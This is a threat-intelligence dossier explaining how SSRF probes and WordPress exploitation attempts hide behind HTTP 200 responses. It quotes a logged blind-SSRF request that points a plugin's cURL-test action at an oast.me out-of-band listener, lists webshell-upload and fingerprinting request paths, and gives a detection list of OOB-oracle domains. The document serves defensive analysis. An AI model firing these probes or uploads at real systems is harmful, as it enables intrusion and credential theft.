TI-2026-060A โ The 200 That Lied: The Attack That Returns Success
Classification: CRITICAL ยท Methodology + Active Campaign Confidence: HIGH โ direct sensor evidence + primary-source corroboration (OWASP, HackTricks, MITRE CVE, public breach record) TLP:WHITE โ external attacker infrastructure named in full; operator internals redacted. Series: The 200 That Lied โ Part A of an investigation into the web traffic that every status-code dashboard on Earth files as "OK."
The cold open: a request that asks your server to phone a stranger
At 17:59:59 UTC on 5 July 2026, a single line arrived at our public web edge from 223.88.1.164:
GET /?phonepe_action=curltestPhonePe&url=http://d9429d5h2cg8hu2ttqughft7ouccqsoh1.oast.me
Chrome/66.0.3359.181 โ 200
Read it the way a status dashboard reads it and there is nothing here. HTTP 200. Success. Green. A monitoring rule that alerts on 4xx/5xx never fires. An analyst scrolling a wall of codes slides past it without a flicker.
Now read it the way the request was written.
phonepe_action=curltestPhonePe is the cURL-test action of the PhonePe payment-gateway plugin for WooCommerce โ a server-side function whose entire job is to fetch a URL you hand it. url=http://โฆoast.me is where you hand it one. And d9429d5h2cg8hu2ttqughft7ouccqsoh1.oast.me is not a website. It is an out-of-band oracle โ a listening post. The random subdomain is a correlation token. The attacker is not asking our server for a page. The attacker is asking our server to open a connection to a machine the attacker controls, and to prove it did so by the connection itself.
If our server had obeyed, a request would have surfaced on the attacker's Interactsh listener carrying that exact token, and the attacker would have learned, in one round trip, that our infrastructure has an exploitable Server-Side Request Forgery primitive โ the same primitive that, pointed at a cloud metadata endpoint, has emptied banks.
The server answered 200. To every status-based tool on the market, that is the end of the story.
It is the beginning of this one.
The thesis: the HTTP status code is a costume, not a verdict
Modern web infrastructure lies to its own defenders, and it does so in a specific, measurable, structural way.
Three mechanisms sit between an attacker and the thing they are attacking, and all three answer hostility with 200 OK:
- Authelia (and any forward-auth proxy) intercepts a request to a protected service and returns a 200 login single-page app โ the same 200 a real user gets โ regardless of whether the path being requested was
/,/.env, or/wp-admin. The scanner's true target survives only in the?rd=redirect parameter. - Single-page applications return
200+index.htmlfor every path, real or invented, and resolve routing in JavaScript the attacker never runs. - Catch-all / wildcard routers answer any unmapped host or path with a
200marketing page instead of a404.
The result is not a rare edge case. It is the default behaviour of the auth-proxied, SPA-fronted, wildcard-routed web โ which is to say, most of it. And it means that the single field on which the entire security-monitoring industry hangs its first-pass triage โ the HTTP status code โ is, for a large and growing class of traffic, a costume the attacker is allowed to choose.
We built a pipeline that refuses the costume. For every request it reconstructs an effective_status from the tuple (method, host_type, path, decoded ?rd= target) โ what actually happened, not what the wire said โ and scores an effective_bad_rate per IP, per ASN, per campaign. When we turn it on, the invisible becomes a census.
In a single seven-day window across our sensor:
| What the wire said | What actually happened |
|---|---|
1,238 requests answered 200 / 302 / 304 | were really 401 (auth-intercepted) or 404 (host/path never existed) โ masked |
| A comfortable spread of "success" codes | 18,352 requests were effectively โฅ 400 hostile once the mask was pierced |
| Clean traffic to our hostnames | 2,417 distinct IPs were probing hosts that do not exist โ pure subdomain guessing, every hit a 200 from a catch-all |
Everything in the right-hand column is invisible to a status dashboard. Everything in the right-hand column is real.
The oracle, explained: an attack engineered to return success
The out-of-band probe is worth dwelling on, because it is the purest possible instance of the thesis: it returns success by construction, not by accident.
A normal vulnerability probe wants a response โ a leaked file, an error, a reflected string. A blind SSRF probe wants none of that, because the vulnerable function makes its request server-side, where the attacker cannot see the reply. So the attacker externalises the proof. They point the server at a domain they own and watch their own logs. This is OAST โ Out-of-band Application Security Testing โ and the oast.me in that request is one of the default public servers of Interactsh, ProjectDiscovery's open-source interaction server, bundled with the nuclei scanner and fired by tens of thousands of operators daily. (Source: OWASP WSTG, "Testing for Server-Side Request Forgery"; ProjectDiscovery Interactsh.)
Because confirmation lives on the attacker's listener, the response to us is irrelevant to the attacker โ and so it is left as whatever the sink returns, which behind a live WordPress host is a bland 200. The technique is designed to leave no 4xx footprint. A status-based monitor is not merely blind to it by oversight; it is blind to it by the attacker's design.
And the stakes are not theoretical. The single most consequential SSRF in history โ the 2019 Capital One breach โ pointed exactly this primitive at the AWS EC2 instance metadata service (http://169.254.169.254), stole IAM credentials, and exfiltrated the records of ~100 million credit applicants. (Public record; OWASP SSRF Prevention Cheat Sheet documents the IMDS attack path; HackTricks "Cloud SSRF" documents the metadata endpoint.) The probe that returns a boring 200 to us is the reconnaissance phase of that exact kill chain. The WordPress plugin sink it rode is a documented class: CVE-2024-9624 (WP All Import Pro SSRF via pmxi_curl_download) is the same shape โ a plugin that fetches an attacker-supplied URL server-side. The phonepe_action=curltest sink is not a phantom; it is a member of a family with CVE numbers.
The forensic walk: who fired it, and how they hid
The IP that fired the oracle was not a lone probe. Reassembled, 223.88.1.164's session is a compact WordPress-exploitation run, and every step was chosen to defeat the detection it expected:
| Order | Request | Wire | What it is |
|---|---|---|---|
| 1 | /wp-content/plugins/vr-calendar-sync/โฆ/public.js | 404 | plugin-version fingerprinting (.js, dodges CMS .php rules) |
| 2 | /?phonepe_action=curltestPhonePe&url=โฆoast.me | 200 | the blind-SSRF oracle (no bad status) |
| 3 | admin-ajax.php?action=mcwp_table&order[0][column]=โฆ | 404 | DataTables parameter probe via an allow-listed AJAX endpoint |
| 4 | admin-ajax.php?action=cfom_upload_file&name=โฆpHp | 404 | arbitrary file upload โ a webshell, .pHp case-toggled to slip extension filters |
| 5 | /wp-content/uploads/cfom_files/โฆphp | 404 | checking whether the shell landed |
| 6 | /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt | 404 | version fingerprinting via a benign .txt |
Notice what is not here: no /.env, no /wp-login.php, no /.git/config โ none of the loud, well-signatured paths that every WAF ships a rule for. This actor probes with the plugin AJAX endpoints that generic rules exclude to avoid false positives, with a webshell extension case-toggled past naive filters, and with an SSRF that returns 200. Under path-only classification, its intent label was NULL โ a clean sheet โ while it attempted remote code execution. It scored as hostile at all only because its other requests happened to 404; had it sent the oracle alone, it would have read as a satisfied customer.
Who is it? The web layer tells us what โ the entity graph tells us who. 223.88.1.164 belongs to AS24445, CMNET-Henan โ the Henan provincial network of China Mobile, a state-owned enterprise under China's SASAC. The probe rode a mobile/CGNAT allocation: disposable to the operator, attributable only to the carrier. There is no bulletproof shell to unwind here; the institutional anchor is a state telecom. That is not a smaller finding than a shell company. It is a larger one.
The census: benign on every dashboard, hostile on reconstruction
One IP is an anecdote. The reconstruction turns it into a distribution. Here are three carriers as a raw-status dashboard sees them, beside what they actually did โ and the gap between the two columns is the exact width of the industry's blind spot:
| ASN / Operator | Raw 404-rate | Effective bad-rate | What the mask hid |
|---|---|---|---|
| AS9541 โ Cyber Internet Services, ๐ต๐ฐ Pakistan | 0.00 | 1.00 | 100% hostile, 0% visible. Empty-UA, shell_upload, all behind 200s. Entity graph: shared-BGP-upstream ties to bulletproof ASNs; already in Glass Houses 042P/Q. |
| AS36903 โ Maroc Telecom (ONPT/IAM), ๐ฒ๐ฆ Morocco | 0.01 | 0.86 | A state telecom running credential-harvest that reads clean on every status feed. |
| AS14618 โ Amazon AWS (EC2), ๐บ๐ธ USA | 0.44 | 0.81 | 299 attacking IPs. An 18-node vhost-sweep at effective 0.90 on a 404-rate of 0.00 โ every guessed subdomain a catch-all 200. |
AS9541 is the headline. A reputation system keyed on 4xx volume assigns it a spotless record while it is, by reconstruction, a totally hostile network. The 404-rate is not low because the traffic is benign; it is low because the traffic is guessed subdomains and auth-intercepted probes that never generate a 404 in the first place. The absence of errors is not the presence of safety. It is the presence of a mask.
The double standard: the cloud is both the target and the firing range
Hold two facts next to each other.
Fact one: the most famous SSRF ever executed was fired at Amazon โ through the AWS metadata service, into 100 million Capital One records.
Fact two: our sensor records the same technique fired from Amazon โ AS14618, AWS EC2, 299 attacking IPs, effective bad-rate 0.81, including an 18-machine subdomain-guessing sweep that reads 0.00 on every status feed.
The cloud is simultaneously the vulnerability's most catastrophic target and its most convenient launch platform, and the industry treats those two roles with opposite reflexes. An analyst's hand hesitates over blocking Amazon ranges the way it never hesitates over a Pakistani or Moroccan carrier โ because blocking AWS can break Microsoft 365, Slack, the CI pipeline, the very tools the defender runs on. The attacker on EC2 has not compromised any Amazon system. They have compromised the defender's risk calculation โ and the 200-mask hands them a second layer of cover on top of the brand, because their traffic wears success codes.
We name it plainly, because the asymmetry is the story: a hyperscaler's brand buys its abusing tenants a pass that a state telecom in the Global South does not get, and the reconstruction we run is the only thing in this picture that scores AWS's EC2 abuse and Maroc Telecom's credential-harvest on the same honest axis.
The seven questions
Who is this? A state-telecom-originated WordPress exploitation actor (China Mobile Henan) at the sharp end, and โ in the census โ a Pakistani ISP, a Moroccan state carrier, and a US hyperscaler, all of whose hostility is delivered through the 200-mask. Identity is read from the entity graph, never from behaviour alone.
Why did it attack? Blind-SSRF discovery (the oracle) escalating to webshell upload (the .pHp file-manager abuse). Not scanning for its own sake โ reconnaissance with an RCE payload staged behind it.
Who does it claim to be? Chrome/66.0.3359.181 โ a browser build from 2018, spoofed. It claims to be a person. It is a scanner.
Whom is it related to? AS9541's entity graph puts it on shared BGP upstreams with bulletproof ASNs already documented in the Glass Houses series; AS14618's abusing tenants cross-link to The Cloud Mercenaries (046E) and The Multi-Vector Operators (046D). These are not first sightings โ they are recurrences the graph already knew.
Where is the money? The oracle is free (open-source Interactsh); the EC2 nodes cost cents an hour on stolen or throwaway cards; the payoff is an SSRF-confirmed host resold or a webshell that becomes an initial-access-broker listing. The economics of the 200-mask are precisely that it is cheap to be invisible.
What is the official anchor? State telecoms (China Mobile/SASAC, Maroc Telecom/ONPT), an APNIC ISP, and ARIN-allocated AWS. Every actor rests on a fully documented institutional structure. Nothing here operates in a vacuum โ and the carriers whose networks emit this traffic have functioning abuse desks that did nothing, because nothing in a status log told them to.
What if it is not who it claims / what is hidden? See below.
What ifโฆ
- What if the 200s are just noise from broken scanners? Then they would be randomly distributed. They are not โ they concentrate on auth-protected services, non-existent subdomains, and SSRF sinks, i.e. exactly where a mask is available. Noise does not aim.
- What if the reconstruction over-counts? We cross-checked: the same IPs that score high on
effective_bad_rateindependently draw CrowdSec L7 decisions, MikroTik bans, and honeypot SSH sessions. The mask-piercing score agrees with three orthogonal sensors it does not share data with. - What if this is one clumsy actor, not a pattern? One actor fired the oracle. 2,417 fired subdomain-guessing 200s; 18,352 requests were effectively hostile behind success codes in a week. The anecdote is a distribution.
Steelman: the strongest case that we are wrong
Build the best benign explanation and see if it survives.
"A 200 is a legitimate response. The PhonePe sink might be a real, installed plugin doing a real health check. oast.me traffic could be a security researcher scanning responsibly with nuclei. AWS EC2 is full of legitimate services; a high effective-bad-rate could be misconfigured but harmless cloud jobs. You are pathologising ordinary internet background radiation."
It is a serious argument. Here is where it fails, point by point:
- The plugin sink is not ours. We do not run WooCommerce or the PhonePe gateway. A
curltestaction firing against a host that has no such plugin is definitionally unsolicited probing, not a health check. - Responsible research announces itself and scopes itself. It does not arrive spoofing a 2018 Chrome build, chained to a case-toggled webshell upload and an admin-ajax RCE probe, from a mobile CGNAT range in Henan. The company an SSRF keeps is dispositive, and this one keeps webshells.
- The
oast.metoken is a 100%-specificity signal. There is no benign reason for a stranger's server to be handed an Interactsh correlation domain in a query string. None. The false-positive rate of "a query string contains an OOB oracle" is, in principle and in our data, zero. - The AWS effective-bad-rate is corroborated, not inferred โ 30+ of its IPs are independently CrowdSec-banned and honeypot-observed.
The steelman concedes exactly one thing: individually, a single 200 is ambiguous. That is the whole point. The attack lives in the ambiguity the status code manufactures โ and the reconstruction is what removes it. The counter-narrative does not survive contact with the evidence set. Confidence: HIGH.
Read between the lines
The most telling thing in this data is a silence. Across every carrier in the census โ a Chinese state telecom, a Moroccan state telecom, a Pakistani ISP, the largest cloud provider on Earth โ the abuse desks were quiet. Not because they are complicit; because nothing told them. Their own status logs showed 200s. Their own reputation feeds, keyed on error rates, showed clean. The 200-mask is not merely a gap in the defender's visibility โ it is a gap in the provider's, and that gap is where accountability goes to die. You cannot answer for an attack your instruments record as success.
Read the actor's tradecraft the same way. The .pHp case-toggle, the allow-listed AJAX endpoints, the .js/.txt fingerprinting, the OOB oracle โ this is not a script kiddie running a public scanner. This is an operator who has studied what detection looks for and built a route around each rule. The choice to make the loudest step (SSRF/RCE discovery) the quietest on the wire (a 200) is not luck. It is design.
The human layer
There is no victim in this dossier with a name, and that is precisely the horror of it. The 200-mask is a machine for manufacturing the appearance that nothing happened. When it works, there is no breach notification, no incident ticket, no line in a SOC report โ right up until the day an SSRF that returned 200 for weeks becomes an IAM credential, becomes a metadata call, becomes 100 million people's credit applications sitting in a stranger's bucket. Capital One's victims did not find out because a status code turned red. They found out afterward. The person this dossier is written for is the analyst three steps upstream of that โ the one scrolling a wall of green who deserves to know that some of the green is lying to them.
Defense โ what the sensor now does
The reconstruction is not only diagnostic; it is wired to response. The observed probe class (ssrf_oast) is now a first-class intent: any request whose query carries an OOB-oracle domain (*.oast.me/.fun/.pro, interact.sh, *.oastify.com, *.burpcollaborator.net, *.dnslog.*, requestrepo.com) or a known plugin SSRF sink is scored hostile regardless of status, its 200 un-masked to effective_status 404, and โ because an OOB oracle is a zero-false-positive signal โ it is banned at the first hit and pushed to the network edge. 223.88.1.164 was neutralised within the hour. The lasting win is not that ban; a CGNAT IP rotates. The lasting win is that the class is now visible from any source, forever, on our sensor.
Investigation metadata
| Field | Value |
|---|---|
| Dossier | TI-2026-060A โ The 200 That Lied (Part A) |
| Date | 2026-07-05 |
| Primary sensor | LSN web-threats observation layer (Traefik/Authelia/CrowdSec/MikroTik), 8,700+ IP profiles |
| Corroboration | OWASP WSTG (SSRF testing); OWASP SSRF Prevention Cheat Sheet (IMDSv2); HackTricks Cloud SSRF; MITRE CVE (CVE-2024-9624 & the WordPress/cloud SSRF class); public record (Capital One 2019); ProjectDiscovery Interactsh |
| Attribution method | Behaviour โ curated entity graph (WHAT โ WHO); never behaviour alone |
| Confidence | HIGH (probe class, mask mechanism, census) ยท MEDIUM (specific CVE mapping of the PhonePe sink) |
| Actors | AS24445 China Mobile Henan ยท AS9541 CYBERNET PK ยท AS36903 Maroc Telecom ยท AS14618 AWS ยท Interactsh/OAST |
Next in the series โ TI-2026-060B: The Census of the Invisible โ the full population of benign-on-404 ASNs, the subdomain-guessing surface as a map, and what the shape of the mask reveals about who is behind it.
The 200 that lied is not a bug in the web. It is a feature of the web, weaponised. The status code was never a verdict. We stopped treating it as one, and the invisible turned out to be a census.